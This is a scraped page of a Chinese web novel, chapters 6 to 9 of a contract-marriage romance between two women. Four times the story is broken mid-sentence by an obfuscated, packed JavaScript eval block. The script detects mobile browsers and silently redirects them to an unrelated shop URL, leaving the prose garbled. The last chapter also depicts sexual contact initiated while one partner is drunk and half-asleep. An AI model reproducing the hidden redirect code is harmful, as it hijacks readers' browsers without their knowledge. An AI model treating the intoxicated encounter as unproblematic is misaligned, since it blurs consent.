;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708785|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点想容容了,但我怕打扰她工作,你别跟她说我想她了,你就随口问问,行吗?”
管桐明白了,但她其实也有点担心打扰容小姐的工作。
不过毕竟是容小姐带回来的人,她就汇报地给容小姐发了信息过去:「容小姐,明珠小姐好像想出门,提到说想给你送文件,或是送吃的,但她怕打扰到你。」
不久,容曌语音回复了:「我书房左边抽屉最上面有个档案袋装的文件,让她送来吧,车随便她选。」
管家笑着看向明珠:“明珠小姐,容小姐有份文件需要你帮忙送去。”
上午还说下午只想宅在家里的明珠听完几乎立刻活了起来,像是干枯的花儿瞬间吸满了水,噌地站起来:“太好了!那管姨你让汤阿姨再给我装点水果甜点,我一起给容容送去。”
她这么一个借住在容曌家的人,当然得狗腿一点,关心关心容曌。
管家把容小姐书房的文件递给明珠,又递了水果甜点,再带明珠选车。
明珠看到了停在地下车库的白色法拉利,超拉风,超高调,她喜欢,但初来乍到的,她还是得装一装,就选了一辆容科的大约五十多万的纯电车。
管家看出了明珠的喜好,试探问:“明珠小姐要开那辆跑车吗?”
明珠装得一副乖巧模样:“不啦,我这个人喜欢低调一点。”
管家低头笑:“好。”
明珠选了容科的这一辆电车,输入导航,上手很快,戴上墨镜,直奔容科集团。
车窗开着,音乐开着,明珠偶尔将手搭在窗框上,一路上心情愉悦。
容曌的车牌号畅通无阻,进了地下停车场,输入车位号后有电子路标指示,明珠顺畅地开到车位,抬眼却看到车位上站着一个穿着白衬衫的清冷美人,挺如修竹,淡妆疏冷。
“容容,”明珠停在车位外探头,“你怎么下来了,阿姨说是秘书来接。”
她之前还以为容曌上班只是经理,听管姨说才知道容曌是容科集团汽车部的CTO。
容曌提着贺禅带来的袋子站在车边:“正好办公累了,下楼歇歇,车开得怎么样?”
明珠之前在中东旅行的时候见过容科的车,一直没开过,现在趴在窗框上仰头对容曌认真夸夸:“特别舒服,方向盘很轻,稳当,没有颠簸感,小用了一下智驾,很顺畅,这些内饰也很有质感,容容你真厉害。”
容曌:“这款我没有参与,是三叔的项目。”
“啊,那——”明珠拉长调子长长地转了折,“那还挺一般的,我更期待容容的项目新车,有机会我要试试。”
容曌浅勾了一下唇,伸手。
明珠把文件递给容曌说:“以后若是有送文件的活,容容你就交给我,我就是你的跑腿小秘书,你随叫我随到。”
容曌眉轻挑:“怎么收费?”
“那肯定不收费啊!”
容曌随意随意点头,还不算太财迷,看了眼明珠的墨镜:“眼睛怎么样了?消肿了吗?”
“……还差点。”
“这两天在家好好冰敷,周五能领证吗?”
明珠想了一下,民政局周末不上班,周五领不上证的话,就得下周一了。
“当然能,没问题,容容你放心,周五我肯定让你变成已婚人士。”
“……”
听着跟要大变活人似的。
容曌走出车位,示意明珠开进去,而后容曌提东西上了车,坐在副驾,把东西递给明珠:“贺禅送来的,她担心你。”
明珠遇到了这样的事,正是需要朋友关心的时候,她不会私藏了贺禅的东西不给明珠。
明珠心里瞬间一暖,接过来翻看,有吃的有玩的,心里感动翻涌,眼睛都有点润了。
很多人有钱的时候朋友多,一旦没了钱,曾经一起玩的朋友就也散了。
但她不一样,她有贺禅,等姜姜回来,她还有姜姜。
明珠压着声音吸了两下鼻子,笑说:“这些吃的一看就是贺贺家阿姨做的,特别好吃,你吃了吗?”
容曌:“……嗯。”
明珠就没推让容曌也尝尝,扭头从后面拿了水果甜点盒子递给容曌:“我也给你带了东西,我特意让阿姨给你装的,上班怪累的,补充一下。”
容曌略偏了下头:“你让阿姨装的?”
“是啊,想对你做些什么嘛,你吃点。”
“嗯。”
容曌把文件放后面,随意地抬手解衬衫纽扣,解开了一粒、两粒、三粒,坠在胸口的绿宝石吊坠都露了出来,衬得容曌皮肤嫩得像荔枝肉,白得更胜雪。
“哎哎,”明珠忙伸手挡着,“容曌你干嘛呢?”
容曌:“吃东西太紧,放松一下,怎么?”
明珠:“……”
倒也是,衣服紧就会给自己无形压力。
好在容曌只是解开三粒而已,没有再继续解,明珠讪讪移开了手:“我以为你要都脱了……你随意,你随意。”
“嗯。”
容曌拿起叉子吃水果甜点,明珠也拿起贺禅给的牛肉干嚼了起来。
明珠出来遛弯心情好了,又收到贺禅给的东西,心情更好了,选歌放了音乐,边随意地和容曌聊些有的没的,没什么营养,但明珠嗓音好听,便让人觉得明珠说什么都有趣。
6. 领证
周五一早,明珠起来照镜子,眼睛已经完全不肿,恢复了她原本的美貌,对着镜中的自己歪头撩发,顾盼生辉,笑靥生花,比容曌还漂亮千万倍——不管是否符合事实,反正她就要这么想。
明珠可以去领证了,就催着容曌和她去拍结婚证照片,但她嫌弃民政局可能拍得不好看,想去专业的地方拍,明珠小姐受不了任何地方留下自己的丑照。
容曌在浴室里刷牙,镜子里的明珠就像个要给容曌超度的道姑一样不停地在容曌身后走来走去,嘴里念念叨叨:“照片拍了就是一辈子噢。”
“一辈子的照片就应该要拍得美美的噢。”
“一辈子呢,一辈子。”
像是在给容曌下咒语。
容曌慢条斯理地漱口、擦嘴,制止这头红发再对她念叨下咒:“知道了,让秘书来接我们,先去拍照。”
明珠眼中穿着性感真丝睡裙的容曌忽然就变成了圣洁的观世音菩萨,一个扑子过去抱住菩萨:“容容你太好了!”
容曌不露痕迹地轻闻明珠头发上的香气,玫瑰香,不是平时的茉莉香,应该给明珠换明珠平时用的茉莉香沐浴用品。
明珠没听到容曌声音,正要看容曌,这时容曌推开了明珠:“要叫化妆师过来化妆吗?”
明珠看向镜中的两人,她天生丽质,而容曌……比她命还好,像容曌出生前给主管相貌的部门巨额贿赂了似的,五官清冷如霜若寒星,但似乎只要略施粉黛轻点朱唇,就会变成极其艳丽的人,冷的时候冰人,艳的时候灼人,不过她还没见过容曌艳的时候。
“不用了,”明珠小气地动了小心思,容曌还是冷点吧,不想被容曌比下去,“和平常一样淡妆就行,自然,和谐。”
容曌扫眼明珠嘴角小幅度的扭动,像生闷气的小孩:“你可以涂红唇,不和谐也没关系,漂亮就好。”
她刚说完,明珠嘴角的小弧度就立即向上翘了上去,娇俏灵动。
明珠喜得美滋滋的,又要朝容曌扑过来,被容曌一个警告眼神制止了。
两人换好衣服出门,主驾的司机和副驾的秘书迅速下车为两人打开车门,训练有素,目不斜视。
容曌上车,侧头看眼妆容格外精致扬着唇的明珠小姐,系着安全带说:“向姐,钱秘书,认识一下,这位是明珠。”
两人回头,明珠微笑。
司机穿黑色皮衣,不说话时表情很酷,但说话时有好看的梨涡:“明珠小姐早上好,我叫向茜,今年三十岁,从小学武术的,还开过两年出租车,对咱们江月市吃喝玩乐都门儿清,您想吃什么喝什么尽管和我说。”
明珠心想太好了,以后跟着向姐出门,方便她吃喝玩乐了。
秘书穿职业装,手里拿着容科开发的墨水瓶电子笔记簿和电子笔,盘发温婉,笑容温柔:“明珠小姐早上好,我叫钱美怡,容总回国后我就一直给容总做秘书,您有什么需要请随时和我说,我都会记下来。”
明珠忽然有种她真是备受容曌宠爱的妻子的错觉,体验感太好了,这才体验第一天,就已经不舍得和容曌离婚了。
明珠喜欢这两位看着比容曌好相处的姐姐,笑唇弯弯:“好的,向姐,钱秘书,以后就麻烦你们了,请多多关照。”
两人忙说客套话,明珠闲闲地和她们聊了一路,两人知道容总喜静,一路惴惴不安,还好容总始终没有打断她们。
到了摄影工作室,不喜拍照的容曌配合明珠拍了一组十张照片,容曌看着几乎相同没有区别,明珠却一通分析。
“这张你唇角有微微上扬,但眼神不太自然;这张你眼里好像有点笑意,但唇角笑意不自然;你这张就很漂亮,表情眼神都充满爱意,但肩膀怎么离我这么远,不够放松,和我拍结婚照你怎么这么僵硬啊;这张还不错,我漂亮,你也还好。”
我漂亮,你也还好。
容曌:“选你漂亮的就行。”
最后明珠选了她们两人表情笑容姿势都最恰到好处的一张:“那就这张吧,行不行?”
毕竟是结婚照,万一真留一辈子呢?还是得选一张她和容曌都漂亮的照片。
容曌看了一眼,她也很满意:“可以。”
之后两人十点到民政局,叫号排队,在登记说明书上签字按手印,很快排到她们两人。
容曌拿着资料先走向窗口,明珠回头对钱美怡伸手:“钱秘书,婚前协议在你那吧,给我吧,我签一下。”
钱秘书低头翻包,越翻手越快。
明珠察觉不对:“怎么了?”
钱秘书抬头,满面慌张:“明珠小姐,容总,婚前协议好像和昨天的文件夹在一起了,我没带过来。”
明珠:“?”
她名下有些车房,不过那些都是爸妈买的,爸妈那边有发票证据,她就不用再特意列表写出来。
她名下没有什么存款,就跟容曌说她这边不用写什么,让容曌的律师随意看着办就行。
容曌已经端坐在窗口前面把证件递给工作人员了,回头道:“没事,那就不用了,本也不需要带过来,明珠过来坐,领完证我还要去上班。”
意思她很急,不能再耽误时间了。
明珠立即小跑着坐过去,担心地小声问容曌:“容容,我们不签婚前协议呀?你确定吗?你是不是有点草率了呀?”
明珠没结过婚,不知道婚前婚后都可以签财产协议、只是称呼不同而已,她只以为婚前协议就要婚前签。
容曌:“没事,我个人工资低,都在信托里了,就算你突然黑化要和我抢钱,你也分不了多少。”
“……”
这话说的。
“谁突然黑化啊,”明珠撇着嘴嘀嘀咕咕,“我三观正,性格不扭曲,好着呢。”
容曌眸底一闪而过轻轻笑意。
向茜侧头小声问钱秘书:“从没见过你工作失误,真忘带了?”
钱秘书心说容总压根没写,只对她说无论明珠小姐要什么协议,婚前协议还是婚内协议,问了就说包里没有。
钱秘书小幅度地摇头,向茜明白了,两人同时在心里推断这位明珠小姐肯定是容总在国外留学时的女朋友,容总回国前两人分手,到最近明珠家的事闹得沸沸扬扬,容总心疼明珠,就把明珠追了回来,容总还以全部资产为聘,若是容总以后在继承人中胜出,就是以整个容科集团为聘,所以她们要把明珠哄好了!
明珠和容曌顺利领了证,明珠宝贝似的拿在手里,抬头就看到向姐和钱秘书看她的目光更热切了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708786|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“怎么了?”
“没什么,恭喜恭喜。”
明珠笑盈盈地从包里掏出两大把糖递给她们俩:“喜糖,吃糖,分喜气。”
又分给容曌一块。
她觉得容曌可能不爱吃糖,给多了没用,意思意思就行了。
容曌:“……哪来的?”明珠来了后,家里有甜品,但一直没有糖。
明珠抱着容曌胳膊笑吟吟:“从范阿姨那儿找来的,范阿姨本来给她孙女买的糖,我借了点过来,等你给我办了副卡,我再花钱买了糖还给范阿姨。”
容曌:“……”
小钱包这是点她往里面放钱呢。
容曌带明珠去办信用卡副卡,办好后送明珠回容光天镜,快到家时,容曌侧头看眼明珠笑了一路合不拢的嘴,升起前后排之间的隔屏幕布,抬手悬在明珠下巴下方:“白小姐嘴收收,要流口水了。”
明珠听出容曌在调侃她了,但她不在意,拨开容曌手,凑近了小声说:“容容,我算是知道天上掉馅饼是什么感觉了。”
“什么感觉?”
“香,晕乎乎的。”
“嗯,别吃撑了就好。”
“……”
明珠退回来不理容曌,继续高兴着。
容曌的主卡是无限额度,副卡给她的额度是十万,也就是说她一个月可以花十万,虽然这比不上爸妈每个月给她的零花钱,但这是货真价实的不劳而获啊。
“把你那边的窗调一下,我换衣服。”容曌忽然说。
这辆车是容科今年新上市的老板车,明珠今天才坐上车,还有很多功能没用过:“怎么调?”
容曌教明珠做手势,窗户瞬间变成非透明的隐私窗。
明珠:“……”
电车越来越高科智能了,经常在国外开跑车的明珠大小姐回国后越来越觉得自己没见过世面。
明珠正沉浸在对新科技的惊讶中,忽然感觉身侧好像一阵白光晃过,那白光还在动,缓慢优雅。
明珠小幅度地用余光看,是容曌就这么直接把白衬衫给脱了,里面只穿一件肉色胸衣,拢得胸型挺拔,肌肤白得赛雪,嫩得似水,好似被人轻轻一碰就会落下红印子。
明珠差点脱口而出“你下次脱衣服能不能提前告诉我一声”,又想容曌刚刚好像说了要换衣服。
而且她们都是女孩子,也没什么不能看的,明珠努力表现出见怪不怪的模样,低头翻看结婚证。
容曌适合上班穿的衬衫和外套就挂在旁边,她穿上白衬衫,漫不经心地将长发从衬衫里捋出来,又道:“明珠,帮我提一下安全带。”
“什么?”
明珠抬头看容曌,原来是安全带勒着容曌,不方便系纽扣。
这老板车太大,明珠别扭地伸长手探身过来为容曌拉开安全带,低头看着容曌腿问容曌:“你今晚有饭局吗?”
“没有,下班就回家。”
本是随口问问的明珠:“……”
转念一想,她们俩今天领证了,不一起吃饭好像说不过去,管家阿姨可能会怀疑,容曌大概是想到了这一层。
“……那我等你一起吃晚饭。”
容曌不紧不慢地从下面往上系着纽扣:“嗯。”
7. 第 7 章
到了家,明珠刚要提着外套下车,就听到身侧容曌和这天气一样无风无波的淡淡提醒:“外套穿好再下车。”
明珠心情好,就不嫌弃容曌多管闲事了,在车里穿好外套才下车,下车后步伐利落轻快,比樱花艳丽的红发背影转瞬消失。
向茜稳当调头,直直开向容科集团,今天容总还要去一趟工厂,其实时间紧张。
后排电影幕布开启,隔开了前排视线,容曌缓缓剥开明珠给的糖衣,粉色糖块卷入容曌淡粉的舌中,像荡在浪潮迭起的海面上,慢慢甜化在容曌口腔里。
容曌垂眸拿起上车时状似随手放在一旁的红色结婚证,崭新烫金的“结婚证”三个字深深地刻在容曌的眸中,过了许久才被翻开。
持证人:容曌。
日期:3月21日。
右边红底的照片里,明珠在左,容曌在右,明珠笑得明媚,容曌笑得含蓄,明珠神情亲昵依赖地微微向右侧靠着容曌的肩膀,容曌也向明珠那边小幅度的倾斜,仿佛两人热恋情深,爱意浓浓。
纤细的指尖落到明珠红润的嘴角,指腹轻抚,眸光幽深,又移到明珠这两晚总流泪的眼睛上轻抚,目露心疼。
明珠清醒时不敢哭,装得坚强,睡着后在梦里总是会从这眼角淌出泪,总是没入明珠发丝里或是枕头里,却像高温蜡油滴在容曌的心上。
忽然容曌狠狠地压了一下明珠的嘴角,没心没肺的家伙,她容曌会被催婚到随随便便就与人领证结婚吗。
·
明珠到家后随手把结婚证和身份证往床头抽屉里一扔,单留出信用卡副卡放在手里。
手机一直放在包里没拿出来过,犹豫片刻拿出来,坐在阳台椅子上开机。
开机后先调成震动,还有一半的电量,接着微信一阵狂轰滥炸嗡嗡嗡,嗡得明珠抿紧唇,忽视一切乱她心的未读消息,先把容曌的副卡绑定了,这是她目前最重要的钱袋子。
之后明珠再一一移除爸妈的副卡,眼见一张张信用卡消失在列表里,手机屏幕上忽然滴落一滴、两滴、三滴雨珠。
如果没有发生真假女儿这件事,爸妈一定会很开心看到她和容曌领证结婚,会祝福她,会陪她选婚纱,会笑容满面地参加她的婚礼。
不过如果没有发生这件事,她和容曌也不可能领证结婚。
明珠吸了吸鼻子,擦去这些湿迹,拿起车钥匙出去买假发,之后去明珠国际旅行社。
今日天朗气清,惠风和畅,是春分第二日,草木抽芽吐绿,万花绽放争艳,正是春暖花开时。
明珠下车后买了一杯咖啡,提着咖啡走进办公大楼,前台和保安神色如常,明珠也神色如常地刷卡进入,上到办公层,员工们和往常一样工作的工作、偷懒的偷懒,明珠基本确定公司距离破产应该还有些日子。
那天她听到妈提了一句公司要破产的话,她有两个猜测,一个是二叔非要在国外小镇投资建设的游乐场项目赔了,资金周转不过来了,另一个是可能有人想恶意收购,最坏的结果是两者兼并,有人给二叔设了局。
她今天过来是要找爸的特助江助理了解公司现在的情况。
“江助理今天不在公司,你要是找他有急事,你给他打电话。”一位同事对明珠说。
明珠:“……”
她确信爸妈一定去南俣找秦意宁了,却没料到江助理不在公司。
她得和江助理面谈,不然她要是给江助理打电话,江助理肯定挂断电话后立即向白总汇报,她不想让爸知道她来过。
“行,我给他打电话联系江助理,谢谢。”明珠转身离开,决定周一再过来。
明珠戴了黑色齐颈假发遮掩红发,又戴了普通浅蓝口罩,没人仔细看她,也没人认出她,她昂首走得自信,仿佛公司分部经理,来去自如。
·
明珠没钱的时候能闲得住,有钱的时候就闲不住了,接着就去做了全身护理。
容曌说让她保持漂亮,她理直气壮地从头发到脸到身体做了个遍,之后逛街买衣服,容曌衣帽间里的衣服是很多,可都太淡太素了些,她不太喜欢。
正好换季了,明珠高高兴兴地给自己买了三套衣服,买完随意点进app看已用额度,这一看,明珠两眼一黑。
半天就花出去四万,可她还没买跟衣服相配的鞋呢。
明珠像个刚拿到这个月生活费就花出去一半的大学生,对着剩余额度苦巴巴地用计算器计算以后每天能花多少钱,最后结论是不能再买衣服了,得花在刀刃上。
容曌今晚准时下班回家,进来就看到明珠懒洋洋地躺在沙发里无聊地按遥控器,双腿侧蜷着,怀里抱着靠枕,无聊得很专注,她回来了,明珠都没反应。
不是又做脸又购物了么,怎么还这么不开心。
容曌挑眉看管家,管家立
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708787|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
即上前小声说:“刚回来的时候就这样,不知道是不是有人在外面说了什么,让明珠小姐难受了。”
容曌脸色沉了沉。
除了现在在国外的好朋友姜姜,明珠以前一起玩过的富家名媛,不乏一些喜欢攀比和嚼舌的,若是听说明珠家的事,很可能会说些什么。
另外,不知道明珠的亲生父母会不会来找明珠。
“知道了,”容曌低声,“不用叫她,也不用对她说我回来了,我先去洗澡换衣服。”
“好。”管家也低声。
容曌脱了外套递给管姨,轻步上楼,没走两步,忽然身后响起急切的脚步声,她脚步微停,双足站稳,接着她就被人从后面扑着抱住了。
“容容你回来啦,”明珠声音甜得像抹了蜜,“我都想你了,容容!”
容曌突然就明白明珠刚刚为什么神色无聊了,若是外面遇到了事,明珠不至于这么谄媚。
容曌:“你压着我头发了。”
“哦。”
明珠忙放开些。
容曌回头看她:“没钱了?”
明珠脸色一僵,接着倒打一耙:“有啊,你看看你,我和你说我想你了,你居然和我谈钱。”
“哦,”容曌拨开明珠的手,“不谈钱,好的。”
明珠:“……”
本来想谈的,都不好意思再直接谈了。
明珠继续殷勤:“容容上一天班累了吧,你要先洗澡还是先吃饭?”
“洗澡。”
“那我陪你上楼吧,我给你放热水,你在浴缸里泡一小会儿,解乏解得会更快一些。”
容曌思量着解开了袖扣,衬衫领口也解开了两粒。
又来了,明珠退下去一个台阶想,这个人是不是每天在外面都绷着神经跟人打辩论赛啊,回家才这样急于放松的?
“不用了,”容曌侧身对明珠微抬下颌,“晚上想喝点酒,你去酒柜帮我开两瓶醒醒酒吧。”
明珠意外:“你不是不怎么喝酒吗?”
容曌的视线明确地看了一眼管家阿姨。
明珠一点就通,领证第一天,这是要演戏给管家看,顿时来了兴致:“有要求吗,你要喝什么?”
“随你挑。”
容曌说罢,边解着手表摘着首饰上楼,衬衫衣摆从腰带里抽出来,腰肢纤细,神态慵懒,一路走一路脱,到浴室时刚好脱完。
8. 醉酒
容光天镜从寒夜来到了春夜,满院樱花开,孤高地悬在空中的清冷弯月也添了两分暖意。
餐厅里,水晶烛杯里燃着烛光,明珠和容曌面对面而坐,酒意上浮,两人的脸颊柔亮泛红,每一次眨眼间,两人眸底都有烛芒摇曳。
明珠托着腮,荡着腿,这是她最放松的姿势,有意无意地打量对面的容曌。
洗过澡的容曌长发松软地披散着,里面是月白色的收腰真丝吊带,外面是浅花卉油画的真丝睡衫,睡衣穿着松弛,坐姿却不见慵懒,依然挺拔优雅。
容曌饮酒的姿势也优雅,莹白指尖捏着杯脚轻轻摇晃,宝石红的红酒缓缓流入容曌的口中,润湿了容曌的唇瓣,她下颌微扬,侧颜优美,红酒在她薄薄的颈下流过,宛若正在天宫宴会上饮酒的清雅非凡的瑶仙。
明珠坏心思地想,如果容曌酒量很浅的话,她今晚有没有可能看到容曌醉酒发酒疯的样子,如果真遇上了,她一定要拍下来供自己欣赏,补偿自己初高中时总被容曌考试压一头的憋屈。
酒杯落桌,明珠看到容曌的酒杯空了,立刻热情地起身为容曌添酒:“听贺贺说你平时不怎么喝酒,今晚看你酒量好像还不错?”
容曌看着明珠急切的倒酒动作,轻轻歪了下头:“可以了,我酒量浅。”
明珠听到了,但故意装作没听到,晚了几秒才停住,做作地说:“哎呀,不小心倒多了,那我倒进我杯里一些吧。”
容曌掌心挡在杯口:“不用了,就这样吧。”
明珠抱歉模样:“可你刚刚说你酒量浅。”
容曌掀起薄薄眼皮看她:“舍命陪妹妹,没关系。”
妹妹。
明珠每次听到妹妹这个称呼,都会自动认为容曌在讽刺她,容曌的这一句肯定是在讽刺知道她在使坏。
讽刺就讽刺吧,明珠当作听不懂,笑着坐回去和容曌碰杯。
“这两天住得还习惯吗?”容曌优雅地喝了口酒,吃了口牛排,随意问道。
明珠这时认真点头:“很习惯,尤其管姨对我很好,处处都很周到。”
比如她今天逛街的时候接到了一通管姨的电话,管姨问她平时习惯用的洗漱用品和护肤品是什么,她随口说了几样,她傍晚到家的时候,浴室和化妆台上就已经摆好了。
容曌:“比如?”
明珠:“比如我第一天来的时候,管姨就给我准备好了衣物放在床上,今天还给我准备了我习惯用的洗漱用品和护肤品,管姨太贴心了,喜欢管姨。”
容曌:“……”
容曌修长指尖轻揉太阳穴:“你喜欢就好。”
明珠点头笑:“嗯,喜欢。”
“……”
两人偶尔聊两句,偶尔碰杯喝两口,明珠越发热情,又热情地为容曌添了些酒,忽然想到别的情侣领证后的流程,小声问:“对了,容曌,我们需要办婚礼吗,需要拍婚纱照吗?”
容曌瞥一眼酒,垂下眼睫优雅切牛排,漫不经心地反问:“你怎么想?”
明珠心想她肯定不愿意啊,她们两人又没有真感情,她才不要把人生第一次献给容曌,当然多一事不如少一事。
明珠正想着,忽听对面传来容曌若有所思的清冷声音:“听贺禅说江月市有位化妆师画的新人妆很美,会按照新人的个人特色放大优点,画过的都说是人生最美时刻,她平时不接单,只接新人单。明珠,你听说过这个人吗?”
爱美的明珠瞬间被带跑了心思,眼神游移,新人妆,放大优点,人生最美时刻……糟糕,好像心动了。
反正是假结婚,多体验两个步骤好像也没什么的。
容曌扫眼明珠已经放光的眼:“随便说说,你不用放在心上。”
“没听过,没放在心上……”明珠倾身碰容曌的酒杯,善解人意地说:“容容,我是这么想的,你收留我,又给我报酬,我这个人知恩必报,如果你家长辈想要看你的婚纱照,想要参加你的婚礼,我一定竭尽全力配合你。”
容曌及时后退移开了酒杯:“明珠,我不想勉强你,免得你日后怨我。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708788|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“不会,不勉强,不怨你,我愿意。”明珠连连说着,硬追过去碰容曌的杯。
碰杯的清脆声响,容曌颔首:“那么谢谢。”
明珠扬眉:“客气。”
月亮又往上升了些,银辉漏过樱花,满地的花状月影摇晃。
容曌侧身撑额,眨眼缓慢,明显醉了。
明珠心想她终于在酒量方面压了容曌一头,轻声叫容曌:“容曌,困了就回房睡吧?”
容曌慢了几秒才回答:“我不困。”
明珠微诧,醉酒的容曌卸掉了高冷的气场,声音很轻,软绵绵的。
明珠想了想,让容曌稍等,她去负一层管家间敲门找管姨,管姨去保姆间门敲门找阿姨,两位阿姨一起扶容曌进电梯回房。
明珠自己也能扶得动容曌,但她怕她不小心摔了容曌,再磕碰到容曌矜贵的脸,还是稳妥一些好。
两位阿姨忙活了一阵,哄着容曌刷牙漱了口,给容曌盖好被子离开。
明珠关上门后坐在床边看容曌,管姨应该没见过容曌醉酒的样子,刚刚一直心疼地皱着眉,她也没见过,醉酒的容曌没有了平日里的清冷,像疏冷的人收回了盾牌,露出了柔软的一面。
明珠悄悄拍了一张容曌柔软到似乎可以任由她摆布的醉酒沉睡照片存在手机私密相册里,也不是要留着威胁容曌,就是莫名地想拍一张存着,可能就是一个……精神胜利法。
明珠刷完牙回来,拿出柜子里的被子铺到自己这边,关灯睡觉。她们两人这几晚都是分被子睡的。
酒后犯困,明珠迷迷糊糊睡了一会儿,忽然睁开眼,不可置信她被容曌搂住了!
容曌什么时候进她被窝的?!
明珠大惊失色,忙转身推开容曌,这一推,明珠十分惊讶,容曌的身体竟好软,她一推就推开了。
然而她刚推开,容曌就又抱了上来。
明珠适应了黑暗,看清楚了容曌依然闭着眼,还是睡着的模样。
但容曌的脸颊似乎更红了,红到发艳。
9. 第 9 章
容曌的脸颊艳到不正常,腮上的红晕直漫到额头,整张脸仿佛笼在烛火的红光里。
明珠心里一紧,眉头拧起:“容曌,你还好吗?你哪里不舒服?你想吐吗?”
容曌轻轻摇头,声音软绵绵的,也有些发黏:“冷……”
“冷?”
容曌发烧了?
明珠立刻撑起身体探温,容曌的额头小而饱满,明珠的掌心覆上去刚刚好。
可是容曌的额头完全不热,相反还在出汗,细汗湿凉。
明珠轻声追问:“容曌你确定你是冷吗?你要是冷的话,我去把空调开高一点?”
容曌平时寡言,宁可动手也不想动口,所以容曌家别墅只安了智能家居,没有启用声控,调温度得找遥控器或是在墙壁面板上调。
“不要。”
明珠刚抬起半个身子要下床,忽然被容曌拉住,睡衣的两粒扣子都被容曌给拉开。
明珠领口忽地敞开很大,忙要系扣子,可她还没系上,又被容曌搂住肩膀,被压了回去。
容曌低头垂脸往明珠柔润的颈窝里埋,手紧搂明珠的肩膀,腿也缠了上来,似是把明珠当作人形抱枕,又似是想要从明珠身上汲取舒服的温度。
“难受……”容曌喃喃。
容曌越说难受,明珠心里越发急,可容曌又搂着她不让她下床。
明珠就只能费力地往容曌身上压被子,边说:“容曌你先松开我一点,你是哪里难受,头晕吗,还是胃里难受恶心想吐?”
早知道容曌酒后这么不舒服,她就不一个劲儿地给容曌倒酒了!
“容曌,你能听到我说话吗,你哪里不舒服?”
“哪里都不舒服……”
容曌压着明珠的半边身子,额头贴着明珠的锁骨,忽然握住了明珠的手,发出轻喘的气息:“帮帮我,帮帮我……”
明珠瞳孔陡然颤抖,容曌让她帮什么?
明珠立即想要抽开手,却抽不开,她手腕被容曌紧紧握住。
“难受……”
明珠不可置信容曌是难受这个,虽说每个人醉酒后的状态都不同,但她完全没想到容曌醉酒后的另一面是这样的,仿佛变了一个人,绵软的,娇柔的,缠人的,好似今夜真是她们的洞房花烛夜。
明珠不合时宜地想,容曌是第一次喝醉吗,以前喝醉是怎么弄的?
不行,这可不行,她白明珠是这世界上最正直磊落的人。
“明珠,帮我……”
明珠正要推开容曌的肩膀,忽然听到容曌叫了她“明珠”,不是冷淡的“明珠”,是求一般的“明珠”。
明珠大脑疯狂运转,她就像是被容曌花钱养的小演员,容曌就像是她的金主,她欠了容曌一份人情,她……好像也不是不可以。
她不抗拒,甚至还逐渐兴奋了起来。
这是与白日里清冷如寒月的容曌完全相反的容曌,此时的容曌热情极了,虽然没有吻她,只是不停地往她怀里拱、不停地用脸蹭她的颈窝而已,但天知道这种仿佛认识了十多年的高冷猫咪突然热情地往人家怀里拱的满足感受。
她终于可以压容曌一头了!
明珠挣扎的力气渐松,渐渐随着容曌的手腕移动,大约只是一个触碰,明珠就看到容曌闭目的脸色忽然变得艳丽,仿若刹那娇花盛开,容曌的眼角也颤抖地沁出了泪水。
明珠忽然想起小时候的自己,她从小就喜欢往外跑,幼时玩轮滑玩冰刀,速度越快越兴奋,大了些玩滑雪,同样喜欢速度带来的刺激,更大了些想学骑马,爸妈就送了她一匹速度最快最漂亮的汗血宝马,通体金光,优雅美丽,她起名为月亮。
驾驭马儿时,力气要顺着马儿,要时刻观察马儿的反应,感受马儿喘气的频率,和马儿一同起伏。
明珠的领悟把控能力仿佛与生俱来,从生疏到熟练只需要很短的时间。
而她尤其喜欢在短时间内加速,她慢不下来,她喜欢在失控的速度中不断加速,令她感觉刺激,令她血脉偾张。
很短的时间,明珠就感受到容曌忽然咬住了她睡衣的领子,感受到容曌攥紧了她腰侧的睡衣,攥到容曌身体都在颤抖。
她听到容曌额头紧贴她湿颈的含娇的急喘声,和容曌仿佛在梦中呓语的一声声的别停。
·
